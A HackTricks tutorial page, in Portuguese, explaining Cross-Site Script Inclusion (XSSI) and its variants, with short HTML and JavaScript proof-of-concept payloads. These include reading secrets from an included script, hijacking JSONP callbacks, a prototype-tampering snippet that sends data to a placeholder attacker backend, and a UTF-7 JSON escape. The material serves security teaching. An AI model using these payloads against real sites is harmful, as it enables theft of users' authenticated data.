hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

99 lines
7.8 KiB
Markdown

# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Informações Básicas
**Cross-Site Script Inclusion (XSSI)** é uma vulnerabilidade que surge da natureza da tag `script` em HTML. Ao contrário da maioria dos recursos, que estão sujeitos à **Same-Origin Policy (SOP)**, scripts podem ser incluídos de diferentes domínios. Esse comportamento é destinado a facilitar o uso de bibliotecas e outros recursos hospedados em servidores diferentes, mas também introduz um potencial risco de segurança.
### Características Principais do **XSSI**:
- **Bypass do SOP**: Scripts estão isentos da **Same-Origin Policy**, permitindo que sejam incluídos entre domínios.
- **Exposição de Dados**: Um atacante pode explorar esse comportamento para ler dados carregados via tag `script`.
- **Impacto em JavaScript Dinâmico/JSONP**: **XSSI** é particularmente relevante para JavaScript dinâmico ou **JSON com Padding (JSONP)**. Essas tecnologias frequentemente usam informações de "autoridade-ambiental" (como cookies) para autenticação. Quando uma solicitação de script é feita para um host diferente, essas credenciais (por exemplo, cookies) são automaticamente incluídas na solicitação.
- **Vazamento de Token de Autenticação**: Se um atacante conseguir enganar o navegador de um usuário para solicitar um script de um servidor que ele controla, pode ser capaz de acessar informações sensíveis contidas nessas solicitações.
### Tipos
1. **JavaScript Estático** - Esta representa a forma convencional de XSSI.
2. **JavaScript Estático com Autenticação** - Este tipo é distinto porque requer autenticação para acesso.
3. **JavaScript Dinâmico** - Envolve JavaScript que gera conteúdo dinamicamente.
4. **Não-JavaScript** - Refere-se a vulnerabilidades que não envolvem JavaScript diretamente.
**As seguintes informações são um resumo de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Confira para mais detalhes.
### XSSI Regular
Nesta abordagem, informações privadas são incorporadas dentro de um arquivo JavaScript acessível globalmente. Os atacantes podem identificar esses arquivos usando métodos como leitura de arquivos, buscas por palavras-chave ou expressões regulares. Uma vez localizados, o script contendo informações privadas pode ser incluído em conteúdo malicioso, permitindo acesso não autorizado a dados sensíveis. Uma técnica de exploração de exemplo é mostrada abaixo:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI
Esses tipos de ataques XSSI envolvem informações confidenciais sendo adicionadas dinamicamente ao script em resposta a uma solicitação do usuário. A detecção pode ser realizada enviando solicitações com e sem cookies e comparando as respostas. Se as informações diferirem, isso pode indicar a presença de informações confidenciais. Esse processo pode ser automatizado usando ferramentas como a extensão Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Se dados confidenciais estiverem armazenados em uma variável global, eles podem ser explorados usando métodos semelhantes aos usados no XSSI Regular. No entanto, se os dados confidenciais estiverem incluídos em uma resposta JSONP, os atacantes podem sequestrar a função de callback para recuperar as informações. Isso pode ser feito manipulando objetos globais ou configurando uma função para ser executada pela resposta JSONP, conforme demonstrado abaixo:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Para variáveis que não residem no namespace global, *prototype tampering* pode às vezes ser explorado. Esta técnica aproveita o design do JavaScript, onde a interpretação do código envolve percorrer a cadeia de protótipos para localizar a propriedade chamada. Ao substituir certas funções, como o `slice` de `Array`, os atacantes podem acessar e vazar variáveis não globais:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Mais detalhes sobre vetores de ataque podem ser encontrados no trabalho do Pesquisador de Segurança [Sebastian Lekies](https://twitter.com/slekies), que mantém uma lista de [vetores](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
A pesquisa de Takeshi Terada introduz outra forma de XSSI, onde arquivos Non-Script, como CSV, são vazados cross-origin ao serem incluídos como fontes em uma tag `script`. Instâncias históricas de XSSI, como o ataque de Jeremiah Grossman em 2006 para ler um catálogo de endereços completo do Google e o vazamento de dados JSON de Joe Walker em 2007, destacam a gravidade dessas ameaças. Além disso, Gareth Heyes descreve uma variante de ataque envolvendo JSON codificado em UTF-7 para escapar do formato JSON e executar scripts, eficaz em certos navegadores:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}